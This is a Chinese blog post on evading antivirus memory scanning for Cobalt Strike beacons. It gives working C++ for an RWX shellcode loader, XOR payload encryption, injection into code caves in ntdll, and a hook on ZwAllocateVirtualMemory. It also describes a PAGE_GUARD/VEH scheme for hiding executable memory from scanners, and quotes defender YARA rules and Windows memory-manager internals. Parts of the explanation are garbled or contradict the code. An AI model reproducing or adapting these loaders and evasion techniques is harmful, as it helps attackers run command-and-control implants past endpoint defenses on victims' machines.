深度了解VirtualAlloc免杀背后的技术

admin 2024年10月11日13:50:24评论74 views字数 23472阅读78分14秒阅读模式

前言

想写这篇文章很久了,不过一直没有很好的理由写,前几天冲鸭安全公众号突破900人,所以发一篇这种文章庆祝一下.

相信看我公众号的都是搞安全的,所以让我们从"免杀"为切入点,简单了解一下windows复杂的内存机制

请注意,这篇文章并不为了免杀或者提供任何红队行为.

virtualalloc动态加载

首先让我们写一个基本的virtual alloc加载内存shellcode的代码:

namespace ShellCodeLoader {
static auto thePayloadPath = "C:\payload.bin";
auto LoadShellCode(char* buf, size_t shellcode_size) -> void {
    DWORD dwThreadId;
    const auto shellcodeAddress = reinterpret_cast<char*>(
        VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE));
    _ASSERT(shellcodeAddress != NULL);
    memcpy(shellcodeAddress, buf, shellcode_size);
    const auto thread =
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcodeAddress, NULL,
                     NULL, &dwThreadId);
    _ASSERT(thread != NULL);
    WaitForSingleObject(thread, INFINITE);
}
auto Init() -> void {
    std::ifstream infile;
    infile.open(thePayloadPath, std::ios::out | std::ios::binary);
    infile.seekg(0, infile.end);
    const auto length = infile.tellg();
    infile.seekg(0, infile.beg);

    char* data = new char[length];
    if (infile.is_open()) {
        infile.read(data, length);
        infile.close();
        LoadShellCode(data, length);
    }
}
}  // namespace ShellCodeLoader

这段代码定义了命名空间ShellCodeLoader,该命名空间包含了实现加载和执行ShellCode的函数LoadShellCode()和Init()。
LoadShellCode()函数的作用是将从文件中读取到的ShellCode缓冲区拷贝到内存中,并将该内存分配由VirtualAlloc进行管理。最后,需要调用该ShellCode以执行它所要完成的任务。在这个例子中,代码注释掉了启动线程调用执行Shellcode的部分,同时使用了断言(ASSERT)来保证shellcodeAddress和thread的值是非NULL的。
Init()函数则用于初始化整个ShellCodeLoader,其主要工作是打开指定路径(字符串类型)的二进制payload文件,并读取该文件的内容。随后,分配内存并调用LoadShellCode()函数来把ShellCode载入内存中执行。
LoadShellCode()函数的作用是将从文件中读取到的ShellCode缓冲区拷贝到内存中,并将该内存分配由VirtualAlloc进行管理。最后,需要调用该ShellCode以执行它所要完成的任务。
在具体实现上,首先通过类型转换将一个void指针转换为char类型(即将底层地址转换为字符数组的指针)。然后,通过VirtualAlloc来分配长度为shellcode_size的内存空间,这段内存可以用于保存ShellCode,且支持读写操作、可执行权限。如果分配失败,则会抛出_Assert错误。

下一步是使用memcpy函数将从文件中读入的ShellCode缓冲区数据拷贝到刚才分配好的内存中。这样就把ShellCode加载到内存中了,接下来只需要调用该内存空间即可执行已存储的ShellCode

PayLoad 进阶Xor加密

由于payload是文件会落地到硬盘里面,所以不可避免的要对它进行加密,这边我选用XOR加密,但是有小伙伴要说了,为什么xor加密当密钥是静态时候,xor是”脆弱”的,意思为,密钥对于一字节来说,总共就是00-ff,因此只要暴力枚举,一定会有个密钥.这也是为什么”xor加密会失效”的原理
这里我们使用key table,key table的存在保证了不会被自动的暴力枚举出来
这是代码:

namespace Encrypt {
static const std::vector<char> password_vec{0x01, 0x3, 0x3, 0x7};

auto decryptMemory(char* buf, size_t size) -> void {
    int byte_count = 0;
    for (size_t i = 0; i < size; i++) {
        if (byte_count >= password_vec.size()) {
            byte_count = 0;
        }
        buf[i] ^= password_vec[byte_count];
        byte_count++;
    }
}
auto encryptFile(const char* filename) -> void {
    std::ifstream input_file(filename, std::ios::binary | std::ios::in);
    if (!input_file.is_open()) {
        std::cerr << "Could not open file" << std::endl;
        return;
    }
    std::string out_filename = std::string(filename) + ".enc";
    std::ofstream output_file(out_filename, std::ios::binary | std::ios::out);
    if (!output_file.is_open()) {
        std::cerr << "Failed to create output file" << std::endl;
        return;
    }

    int byte_count = 0;
    while (!input_file.eof()) {
        char c;
        input_file.read(&c, sizeof(c));
        if (byte_count >= password_vec.size()) {
            byte_count = 0;
        }
        c ^= password_vec[byte_count];
        output_file.write(&c, sizeof(c));
        byte_count++;
    }

    input_file.close();
    output_file.close();

    return;
}

}  // namespace Encrypt

这段代码定义了命名空间Encrypt,该命名空间包括一个名为password_vec的vector容器和两个函数decryptMemory()和encryptFile()。
password_vec是一个存储密码的静态std::vector容器对象,该容器被初始化为一个包含4个字节的固定值{0x01, 0x3, 0x3, 0x7}。加密过程中使用该密钥来对数据进行加解密操作。
decryptMemory()以字符缓冲区buf和缓冲区大小size作为输入参数,通过简单地将缓冲区内容异或上一个固定密码向量的方式来对给定的缓冲区进行解密
encryptFile()指向未加密文件路径的指针作为其唯一参数。此函数打开源文件和输出文件,循环读取源文件并准备好输出文件。对于每个字节,使用密码向量中的下一个字节对源文件的当前字节执行异或运算,并将结果写入输出文件。随着处理过程的进行,将在向量中循环使用全部4字节。有了这种算法实现机制,加密和解密就非常直接而具有可逆性。

你看,这么一操作,各种牛力的杀毒引擎没了:
深度了解VirtualAlloc免杀背后的技术
但是”动态”,很明显,被干烂了:
深度了解VirtualAlloc免杀背后的技术
首先他已经明确标注出来了这个是cobalt strike的加载器,为什么能明确标注出来呢?
原因在于 杀毒软件 会对createthread的目标地址的内存进行扫描.

当今主流EDR的内存扫描或多或少参考过我的项目,不吹不黑,github后台是看得到友商的OA系统的ref的:
https://github.com/huoji120/DuckMemoryScan
https://github.com/huoji120/CobaltStrikeDetected
https://github.com/RoomaSec/RmEye

内存扫描

实验

让我们做个试验
试验开始:
去掉CreateThread,只是简单的拷贝shellcode到内存中:

auto LoadShellCode(char* buf, size_t shellcode_size) -> void {
    DWORD dwThreadId;
    const auto shellcodeAddress = reinterpret_cast<char*>(
        VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE));
    _ASSERT(shellcodeAddress != NULL);
    memcpy(shellcodeAddress, buf, shellcode_size);
    /*
    const auto thread =
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcodeAddress, NULL,
                     NULL, &dwThreadId);
    _ASSERT(thread != NULL);
    WaitForSingleObject(thread, INFINITE);
    */
}

深度了解VirtualAlloc免杀背后的技术
去掉decryptMemory,不解密:

auto LoadShellCode(char* buf, size_t shellcode_size) -> void {
    DWORD dwThreadId;
    const auto shellcodeAddress = reinterpret_cast<char*>(
        VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE));
    _ASSERT(shellcodeAddress != NULL);
    //Encrypt::decryptMemory(buf, shellcode_size);
    memcpy(shellcodeAddress, buf, shellcode_size);
    /*
    const auto thread =
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcodeAddress, NULL,
                     NULL, &dwThreadId);
    _ASSERT(thread != NULL);
    WaitForSingleObject(thread, INFINITE);
    */
}

深度了解VirtualAlloc免杀背后的技术
很明显,当你把shellcode原本的内容加载进来的时候,卡巴斯基通过内存扫描,能很快的定位到你的问题所在

手动进行内存扫描

让我们做个小实验模拟内存扫描是如何工作的的
首先,我们以二进制文本打开我们的payload.bin,然后我们搜索一下我们的shellcode的内容
深度了解VirtualAlloc免杀背后的技术
我们随便找一段为”特征码”,如我选择开头前5字节为特征码:

FC 48 83 E4 F0

打开CE,选择类型为”二进制数组”,然后搜索,搜索范围选择”所有内存”,然后我们搜索我们的特征码:
深度了解VirtualAlloc免杀背后的技术
转到搜索的内存区域,我们会发现,我们的shellcode完全暴露在内存中:

深度了解VirtualAlloc免杀背后的技术
这意味着,安全软件也能通过这种方式,找到我们的shellcode,然后杀掉.

思考内存扫描的规避方法

既然知道了原理, 我们可以很轻松的解决问题.最简单的例子
在现代编译器编译出来的程序中,往往存在了许多的填充区域,这些区域无实际作用(可能更多的是用于对齐),这些叫做代码洞.通过CE扫描 00 00 00 00,你也会发现有这些代码洞:
深度了解VirtualAlloc免杀背后的技术
我们可以利用这些代码洞,把我们的shellcode放进去,然后修改地址为可执行,这样我们就不在内存中暴露我们的shellcode了.而是在”文件中”
这是寻找代码:

auto findFreeSpace(uintptr_t base, size_t size, size_t need_size) -> uintptr_t {
    for (uintptr_t address = (uintptr_t)base; address <= (uintptr_t)base + size;
         address += sizeof(uintptr_t)) {
        __try {
            MEMORY_BASIC_INFORMATION memory_information = {0};
            const auto status =
                VirtualQuery((PVOID)address, &memory_information, need_size);
            if (status == 0) {
                continue;
            }
            if (memory_information.Protect == PAGE_EXECUTE_WRITECOPY) {
                continue;
            }
            if (*(uintptr_t*)address == 0x00 || *(uintptr_t*)address == 0x90) {
                uintptr_t count = 0;
                bool is_good = true;
                uintptr_t max_count = 0;
                for (; count < need_size && is_good;
                     count += sizeof(uintptr_t)) {
                    max_count++;
                    auto check_ptr = (uintptr_t*)((PUCHAR)address + count);
                    if (*check_ptr != 0x0 && *check_ptr != 0x90) {
                        is_good = false;
                        break;
                    }
                }
                if (is_good) {
                    printf("location virtual address : %p n", address);
                    return address;
                }
            }

        } __except (EXCEPTION_EXECUTE_HANDLER) {
            continue;
        }
    }
    return NULL;
}

这个寻找code cave的函数用法是, 用于在给定的地址空间(从base开始,偏移为size)中查找一个连续的、未被占用的内存块,大小为need_size。具体来说,它通过循环每个地址,并使用VirtualQuery函数查询当前地址所在的内存块信息。

该函数的返回值是找到的内存块的起始地址,如果没有找到符合要求的内存块,则返回NULL。

以下是该函数的主要工作步骤:

1.从给定的基地址开始遍历整个地址空间。

2.使用 try 和 except 块尝试读写每个地址,以确定该地址是否可访问。如果无法访问地址,则继续查找下一个地址。

3.对于可以访问的地址,使用 VirtualQuery 函数获取该地址所在内存块的详细信息。

4.检查内存块的保护权限是否为 PAGE_EXECUTE_WRITECOPY, 如果是,则忽略本次查找,并继续查找下一个地址。

5.如果内存块完全为 0 或者是 nop(0x90),则检查后面 need_size 比特位是否也是0或者nop,如果都是,则说明此块内存可以用来分配,返回该内存块地址。

这是改进后的shellcode加载代码:

auto LoadShellCodeFromCodeCave(char* buf, size_t shellcode_size) -> void {
    const auto mainModule = GetModuleHandleA("ntdll.dll");
    const auto mainModuleSize = getModuleSize((uint64_t)mainModule);
    const auto codeCave = reinterpret_cast<char*>(
        findFreeSpace((uintptr_t)mainModule, mainModuleSize, shellcode_size));
    _ASSERT(codeCave != NULL);
    DWORD dwProtect;
    VirtualProtect(codeCave, shellcode_size, PAGE_EXECUTE_READWRITE,
                   &dwProtect);
    Encrypt::decryptMemory(buf, shellcode_size);
    memcpy(codeCave, buf, shellcode_size);
}

这是测试:
深度了解VirtualAlloc免杀背后的技术
你可以注意到,我们并没有启动他,因为启动了任然会造成问题.
为什么?因为我们”免杀”的只是前置shellcode 而这个shellcode也会用virtualalloc加载cobalt strike的PE文件(beacon),结果就是,再次被干掉:
深度了解VirtualAlloc免杀背后的技术
由于空间优先,我们没有办法分配足够的空间给接下来的PE文件.
让我们继续思考…

接管beacon加载器

既然我们的目标是不二开cobalt strike的代码,那么我们就要找到一个方法.不让他使用virtualalloc加载beacon.因此我们第一步要接管他的加载器,让他加载我们的beacon
通过minihook,我们可以很轻松的接管shellcode的virtualalloc事件:

auto Init() -> void {
    MH_Initialize();
    // hook zwvirtualalloc
    const auto AddressForZwVirtualAlloc = GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");
    _ASSERT(AddressForZwVirtualAlloc != NULL);
    auto ZwVirtualAlloc =
        reinterpret_cast<ZwAllocateVirtualMemory>(AddressForZwVirtualAlloc);
    MH_CreateHook(ZwVirtualAlloc, &HookedZwAllocateVirtualMemory,
                  reinterpret_cast<void**>(&OriginalZwAllocateVirtualMemory));
    const auto status = MH_EnableHook(ZwVirtualAlloc);
    _ASSERT(status != MH_OK);
}

这是hook回调代码:

// hook ZwAllocateVirtualMemory
typedef NTSTATUS(__stdcall* ZwAllocateVirtualMemory)(
    HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
    PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
static ZwAllocateVirtualMemory OriginalZwAllocateVirtualMemory = nullptr;
static auto __stdcall HookedZwAllocateVirtualMemory(
    HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
    PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) -> NTSTATUS {
    const auto status =
        OriginalZwAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits,
                                        RegionSize, AllocationType, Protect);
    do {
        if (status != 0) {
            break;
        }
        if (Global::redirectAlloc == false) {
            break;
        }
        if (ProcessHandle != GetCurrentProcess()) {
            break;
        }
        if (AllocationType != MEM_COMMIT) {
            break;
        }
        if (Protect != PAGE_EXECUTE_READWRITE) {
            break;
        }
        ....
    } while (false);

    return status;
}

现在我们开始遇到了第一个问题,code caves很小,一般不会超过64K,但是cobalt strike加载的PE文件足足有4M之大,我们压根没有办法把他放进去.因此我们接管后,需要有第二个方案

PAGE_GUARD机制 又叫做 “WP”

PageGuard是内存属性里面的一种,他的作用是,当你访问一个没有被分配的内存时候,会触发一个异常,这个异常可以被我们捕获,然后我们可以在异常处理函数中,对这个内存进行分配,然后返回到原来的地方继续执行.

在Windows中,程序虚拟地址空间被分成许多页面。如果应用程序尝试访问一个未映射或保护错误的页面,则会触发硬件异常并导致应用程序停止响应。然而,使用Page Guard机制,操作系统可以将这种异常行为变成一种控制流,从而使程序具有更大的灵活性和可靠性。

Page Guard机制允许操作系统将一个页面标记为”guarded”(即具有watchpoint),从而捕获对该页的任何读/写尝试。通过设置此标志,内核可以随时监视受保护页的状态,并在特定的访问模式下执行适当的操作,例如更改相关页的内容,向进程发送警报消息等。

让我们做个试验吧

WP试验

我们分配一个简单的PG内存,然后访问他,看看会发生什么:

const auto pgAddress = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE | PAGE_GUARD);
_ASSERT(pgAddress != NULL);
// write shellcode to page_guard memory:
printf("pgAddress: %p n", pgAddress);

用CE访问内存地址:
深度了解VirtualAlloc免杀背后的技术
如你所见,整个页面将不可见,此外当内存执行到page guard的页面时候,会触发异常
而我们只需要利用windows 异常处理机制,就能接管这个异常,为所欲为.
但是依然有个问题,页面是page guard,会导致我们无法执行任何代码,除非我们恢复页面属性为正常,但是恢复后,页面将不再具有page guard属性,从而被扫到内存.

因此我们需要一个方法,让我们在恢复页面属性后,再次设置page guard属性,这样我们就能在异常处理函数中,再次恢复页面属性,然后继续执行了.

是的,这个方法就是,单步异常.

单步异常(Single Step Exception)是硬件调试机制中非常有用的一种机制,它可以让调试器按照指令一个接一个地执行当前线程。当程序出现断点或者单步调试错误时,就会触发单步异常。

WP思考

让我们来梳理一下思路:

  1. 接管beacon加载器,让他分配一个具有PAGEGUARD属性的内存
  2. 当beacon执行到这个内存时候,触发异常
  3. 我们接管异常,然后设置单步异常,并且让代码继续执行
  4. 代码继续执行,触发单步异常,我们设置页面属性为PAGE_GUARD,并且继续执行代码

这个叫做”VEH Page Hook”的改进版本

Coding Time

我们需要先定义一个全局变量,这个全局变量会在异常处理函数中使用,用于知道是哪些需要保护的区域触发了异常:

~代码不见了~

编写异常处理函数:

~代码不见了~

PageGuardMemory():这个函数将一个地址空间页面标记为guarded,以便当程序尝试读写该页面时触发硬件异常。它首先使用VirtualQuery()函数查询给定地址所在的页面信息、设置PAGE_GUARD标志并调用VirtualProtect()函数将该页面标记为guarded。

UnPageGuardMemory():这个函数将一个页面标记为非guarded,调用和‘PageGuardMemory()`类似,但是它将PAGE_GUARD标志从保护权限中移除。

VectoredExceptionHandler():此功能作为VEH的入口点,其目的是监听发生在用户代码内的异常。如果错误代码为EXCEPTION_GUARD_PAGE,则此函数将将执行点标记为单步操作标志;如果错误代码为EXCEPTION_SINGLE_STEP,则在发生单步异常后回到用户程序中,而VEH会检查当前异常是否与某些已被标记为guarded的页面有关。如果是,它将解除页面保护,使得进程继续执行。

InitVeh():该函数初始化VEH,并将处理函数设置为VectoredExceptionHandler()

之后,我们修改我们的shellcode加载函数,在加载之前,把shellcode地址给设置为受保护:

~代码不见了~

将 Global::redirectAlloc 设置为 true 后,我们将所有beacon申请的可执行内存全部设置保护:

~代码不见了~

这样我们就完成了WP的实现,让我们来测试一下:
深度了解VirtualAlloc免杀背后的技术

进一步思考

现在让我们进阶思考一下为什么它能用,为了回答这个问题,我们需要了解一下安全软件检测无模块攻击的原理与windows内存管理机制.
目前大部分安全软件”扫内存”的原理如下:

  1. 枚举目标所有的线程、堆栈等
  2. 判断目标地址是否是private属性、是否是可执行代码
  3. 通过特征码是否有恶意代码,从而实现检测

这里是一个例子,我编写于3年前:
https://github.com/huoji120/DuckMemoryScan
而这是非常流行的yara正则,用于检测内存中的恶意代码:

/*
YARA Rule Set
Author: The DFIR Report
Date: 2021-09-01
Identifier: Cobalt Strike, a Defender’s Guide
Reference: https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
*/

import "pe"

rule CS_default_exe_beacon_stager {
meta:
description = "Remote CS beacon execution as a service - spoolsv.exe"
author = "TheDFIRReport"
date = "2021-07-13"
hash1 = "f3dfe25f02838a45eba8a683807f7d5790ccc32186d470a5959096d009cc78a2"
strings:
$s1 = "windir" fullword ascii
$s2 = "rundll32.exe" fullword ascii
$s3 = "VirtualQuery failed for %d bytes at address %p" fullword ascii
$s4 = "msvcrt.dll" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 800KB and (pe.imphash() == "93f7b1a7b8b61bde6ac74d26f1f52e8d" and
3 of them ) or ( all of them )
}

rule tdr615_exe { 
meta: 
description = "Cobalt Strike on beachhead: tdr615.exe" 
author = "TheDFIRReport" 
reference = "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/" 
date = "2021-07-07" 
hash1 = "12761d7a186ff14dc55dd4f59c4e3582423928f74d8741e7ec9f761f44f369e5" 
strings: 
$a1 = "AppPolicyGetProcessTerminationMethod" fullword ascii 
$a2 = "I:\RoDcnyLYN\k1GP\ap0pivKfOF\odudwtm30XMz\UnWdqN\01\7aXg1kTkp.pdb" fullword ascii 
$b1 = "[email protected]" fullword ascii 
$b2 = "operator co_await" fullword ascii 
$b3 = "GetModuleHandleRNtUnmapViewOfSe" fullword ascii 
$b4 = "RtlExitUserThrebNtFlushInstruct" fullword ascii 
$c1 = "Jersey City1" fullword ascii 
$c2 = "Mariborska cesta 971" fullword ascii 
condition: 
uint16(0) == 0x5a4d and filesize < 10000KB and 
any of ($a* ) and 2 of ($b* ) and any of ($c* ) 
}
import "pe"

rule CS_DLL {
meta:
description = "62.dll"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/"
date = "2021-07-07"
hash1 = "8b9d605b826258e07e63687d1cefb078008e1a9c48c34bc131d7781b142c84ab"
strings:
$s1 = "Common causes completion include incomplete download and damaged media" fullword ascii
$s2 = "StartW" fullword ascii
$s4 = ".rdata$zzzdbg" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 70KB and ( pe.imphash() == "42205b145650671fa4469a6321ccf8bf" )
or (all of them)
}

rule cobalt_strike_TSE28DF {
meta:
description = "exe - file TSE28DF.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-01-05"
hash1 = "65282e01d57bbc75f24629be9de126f2033957bd8fe2f16ca2a12d9b30220b47"
strings:
$s1 = "mneploho86.dll" fullword ascii
$s2 = "C:\projects\Project1\Project1.pdb" fullword ascii
$s3 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s4 = "AppPolicyGetThreadInitializationType" fullword ascii
$s5 = "boltostrashno.nfo" fullword ascii
$s6 = "operator<=>" fullword ascii
$s7 = "operator co_await" fullword ascii
$s8 = ".data$rs" fullword ascii
$s9 = "tutoyola" fullword ascii
$s10 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
$s11 = "vector too long" fullword ascii
$s12 = "wrong protocol type" fullword ascii /* Goodware String - occured 567 times */
$s13 = "network reset" fullword ascii /* Goodware String - occured 567 times */
$s14 = "owner dead" fullword ascii /* Goodware String - occured 567 times */
$s15 = "connection already in progress" fullword ascii /* Goodware String - occured 567 times */
$s16 = "network down" fullword ascii /* Goodware String - occured 567 times */
$s17 = "protocol not supported" fullword ascii /* Goodware String - occured 568 times */
$s18 = "connection aborted" fullword ascii /* Goodware String - occured 568 times */
$s19 = "network unreachable" fullword ascii /* Goodware String - occured 569 times */
$s20 = "host unreachable" fullword ascii /* Goodware String - occured 571 times */
condition:
uint16(0) == 0x5a4d and filesize < 700KB and
( pe.imphash() == "ab74ed3f154e02cfafb900acffdabf9e" or all of them )
}

rule CS_encrypted_beacon_x86 {
meta:
author = "Etienne Maynier [email protected]"
strings:
$s1 = { fc e8 ?? 00 00 00 }
$s2 = { 8b [1-3] 83 c? 04 [0-1] 8b [1-2] 31 }
condition:
$s1 at 0 and $s2 in (0..200) and filesize < 300000
}

rule CS_encrypted_beacon_x86_64 {
meta:
author = "Etienne Maynier [email protected]"
strings:
$s1 = { fc 48 83 e4 f0 eb 33 5d 8b 45 00 48 83 c5 04 8b }
condition:
$s1 at 0 and filesize < 300000
}

rule CS_beacon {
meta:
author = "Etienne Maynier [email protected]"

strings:
$s1 = "%02d/%02d/%02d %02d:%02d:%02d" ascii
$s2 = "%s as %s\%s: %d" ascii
$s3 = "Started service %s on %s" ascii
$s4 = "beacon.dll" ascii
$s5 = "beacon.x64.dll" ascii
$s6 = "ReflectiveLoader" ascii
$s7 = { 2e 2f 2e 2f 2e 2c ?? ?? 2e 2c 2e 2f }
$s8 = { 69 68 69 68 69 6b ?? ?? 69 6b 69 68 }
$s9 = "%s (admin)" ascii
$s10 = "Updater.dll" ascii
$s11 = "LibTomMath" ascii
$s12 = "Content-Type: application/octet-stream" ascii

condition:
6 of them and filesize < 300000
}

你可以看到,在内存中的马,要在内存中解决.在没有办法二开cobalt strike之前,扫内存是万金油.PAGEGUARD和CodeCave的机制则阻止了第二个扫内存的前提:

判断目标地址是否是private属性、是否是可执行代码

至于为什么page_guard会”奏效”? 为什么设置page_guard后页面不可读?
这需要从windows内存管理机制说起.我将一层一层为你介绍:

内存管理机制: VAD

VAD是Virtual Address Descriptor的缩写,它是Windows内核中的一个数据结构,用于
描述进程的虚拟地址空间。在Windows中,每个进程都有一个VAD树,用于描述进程的虚拟地址空间。VAD
树是一个红黑树,每个节点都是一个VAD结构体,用于描述一个虚拟地址空间的区域。VAD树的根节点是一
个特殊的VAD结构体,称为根VAD,它的起始地址为0,结束地址为0x7FFFFFFF,表示整个用户空间的虚拟
地址空间。VAD树的叶子节点是一个特殊的VAD结构体,称为VAD Sentinel,它的起始地址为
0xFFFFFFFF,结束地址为0xFFFFFFFF,表示虚拟地址空间的结束。VAD树的中间节点是普通的VAD结构
体,它的起始地址和结束地址都是4KB对齐的,表示一个虚拟地址空间的区域。VAD结构体的定义如下:

typedef struct _MMVAD_SHORT {
    union {
        struct _RTL_BALANCED_NODE VadNode;
        struct {
            struct _MMVAD_SHORT *NextVad;
            struct _MMVAD_SHORT *RootVad;
        };
    };
    PVOID StartingVpn;
    PVOID EndingVpn;
    PVOID PushLock;
    union {
        ULONG LongFlags;
        MMVAD_FLAGS VadFlags;
        struct _MMVAD_FLAGS1 VadFlags1;
        struct _MMVAD_FLAGS2 VadFlags2;
    };
    struct _SUBSECTION *Subsection;
    struct _MMPTE *FirstPrototypePte;
    struct _MMPTE *LastContiguousPte;
    struct _LIST_ENTRY ViewLinks;
    struct _EPROCESS *VadsProcess;
} MMVAD_SHORT, *PMMVAD_SHORT;

VAD结构体中的StartingVpn和EndingVpn表示VAD结构体所描述的虚拟地址空间的起始地址和结束地址。VAD结构体中的VadFlags和VadFlags1表示VAD结构体的属性,VadFlags2表示VAD结构体的扩展属性。VAD结构体中的Subsection表示VAD结构体所描述的虚拟地址空间所对应的物理地址空间的子区域,FirstPrototypePte和LastContiguousPte表示VAD结构体所描述的虚拟地址空间所对应的物理地址空间的第一个PTE和最后一个连续的PTE,ViewLinks表示VAD结构体所描述的虚拟地址空间所对应的物理地址空间的视图链表,VadsProcess表示VAD结构体所描述的虚拟地址空间所属的进程。

VAD这是第一层,平时我们所说的内存属性,包括你看到的noaccess、page_readonly、page_readwrite、page_execute_read、page_execute_readwrite、page_execute_writecopy、page_guard、page_nocache等等,都是这一层的产物.
深度了解VirtualAlloc免杀背后的技术

假设你使用virtualprotect修改了一块内存,实际上,系统在底层会给这个VAD表中,寻找到这个地址,然后给其对应的地址VadFlags.Protection赋值,从而实现修改内存属性的目的.(这并不完全准确,请接着看)

内存管理机制: PML4

PML4(Page Map Level 4)是x86架构中的一种页表,用于将虚拟地址转换成物理地址。在64位x86架构中,虚拟地址空间可以达到2的64次方,而实际的物理内存空间则可能较小,因此需要进行虚拟地址到物理地址的映射。

PML4作为页表的第四级,它主要负责将虚拟地址的最高16位映射到物理地址的中间9位。具体来说,PML4包含512个指针项,每个指针项指向一个PDPT(Page Directory Pointer Table)。PDPT包含512个指针项,每个指针项指向一个PD(Page Directory)。PD包含512个指针项,每个指针项指向一个PT(Page Table)。PT包含512个页表条目,每个条目对应一个4KB的页面。通过多级的查找和映射,CPU能够最终确定一个虚拟地址所对应的物理地址。

注意: 每个进程包括”System”都会有个PML4负责管理物理空间的映射,而PML4与VAD的关系是
当要访问/执行某个地址的代码时,系统会先通过VAD树确定目标的属性确定你是否有权限(注意这跟PAGE_GUARD无关,PAGE_GUARD是另外一个机制),并查询相应的PML4页表获取对应的物理地址…

但是,这没完,让我们更深入

更深入: PTE

PML4除了某些情况下,翻译物理地址会最终到达PTE,这是最后一层,因为他决定了你能否访问这块内存,以及你能否执行这块内存.

PTE(Page Table Entry)是一种数据结构,用于将虚拟地址转换为物理地址。在x86架构下使用的是二级页表(二级PTE),而在x64架构下使用的是四级页表,也就是PML4、PDPT、PD和PTE。

PTE通常包含以下几个字段:

物理页帧号(Physical Page Frame):指向页面在物理内存中的位置。
脏位(Dirty Bit):表示页面是否被修改过,如果该位为1,则意味着该页面已被修改并且需要重新写回到磁盘上以保存更新内容。
访问位(Accessed Bit):表示页面是否被访问过,如果该位为1,则意味着该页面已被读取或写入过。
可读/可写位(Read/Write Bit):用于控制页面是否可读/可写。
可执行位(Execute Disable Bit):用于控制页面是否可执行。
缓存位(Cache Disable Bit):用于控制页面是否可以缓存在处理器的高速缓存中。
用户位(User/Supervisor Bit):用于标记该页面是否属于用户空间。
这是一个PTE的结构:

typedef struct _pt_entry_4kb {
    union {
        UINT64 AsUInt64;
        struct {
            UINT64 Valid : 1;             // [0]
            UINT64 Write : 1;             // [1]
            UINT64 User : 1;              // [2]
            UINT64 WriteThrough : 1;      // [3]
            UINT64 CacheDisable : 1;      // [4]
            UINT64 Accessed : 1;          // [5]
            UINT64 Dirty : 1;             // [6]
            UINT64 Pat : 1;               // [7]
            UINT64 Global : 1;            // [8]
            UINT64 Avl : 3;               // [9:11]
            UINT64 PageFrameNumber : 40;  // [12:51]
            UINT64 Reserved1 : 11;        // [52:62]
            UINT64 NoExecute : 1;         // [63]
        } Fields;
    };
};

(我们这里为了方便理解假设一定是PTE在翻译物理地址)
PTE有几个直观的例子:

  1. 在VAD表现不可执行的页面,windows会给对应的PTE的NoExecute字段赋值,从而实现不可执行的目的.这样在执行代码时,CPU会抛出异常.
  2. 在VAD表现可读写的页面,windows会给对应的PTE的Write字段赋值,从而实现可读写的目的
  3. 在windows中,如果你的PTE的User字段为0,那么这块内存只能被内核访问,如果为1,那么这块内存可以被用户访问.

把他们联系起来

那么,设置一块内存为PAGE_GUARD会经历什么?

在设置完page_guard后,windows会通过VAD找到对应的信息,然后调用
MiRemovePageFromWorkingSet 将这块内存地址对应的PTE移除工作集,并且设置对应的VAD属性为GUARD
https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/protect.c#L868
在访问内存时候,会调用MiAccessCheck检查目标信息:

https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/acceschk.c#L160
如果是PAGE_GUARD,那么会抛出STATUS_GUARD_PAGE_VIOLATION异常,由VEH接管.

WP机制在windows上深度原理

网上 PAGE_GUARD 的文章千篇一律 不知道在说什么JB 可能作者自己都不知道在说什么
这里给出WRK的答案:
在设置PAGE_GUARD后:
https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/protect.c#L868

The PTE is a private page which is valid, if the
specified protection is no-access or guard page
remove the PTE from the working set.

   if ((NewProtectWin32 & PAGE_NOACCESS) || (NewProtectWin32 & PAGE_GUARD)) {

                    //
                    // Remove the page from the working set.
                    //

                    Locked = MiRemovePageFromWorkingSet (PointerPte,
                                                         Pfn1,
                                                         &Process->Vm);

                    continue;
                }

调用MiRemovePageFromWorkingSet,把页面移除工作区
结果:
https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/wslist.c#L781

ULONG
MiRemovePageFromWorkingSet (
    IN PMMPTE PointerPte,
    IN PMMPFN Pfn1,
    IN PMMSUPPORT WsInfo
    )

This function removes the page mapped by the specified PTE from
the process’s working set list.

访问的时候会调用MiAccessCheck检查ProtectionCode:
https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/acceschk.c#L160
MI_IS_GUARD 的定义是:

#define MI_IS_GUARD(ProtectCode)    ((ProtectCode >> 3) == (MM_GUARD_PAGE >> 3))

ProtectionCode由来:

在访问内存的时候会调用

MiCheckVirtualAddress
https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/pagfault.c#L4701
如果是private 属性的,则会

 if (Vad->u.VadFlags.MemCommit == 1) {
                *ProtectCode = MI_GET_PROTECTION_FROM_VAD(Vad);
                return NULL;
            }

https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/pagfault.c#L4787
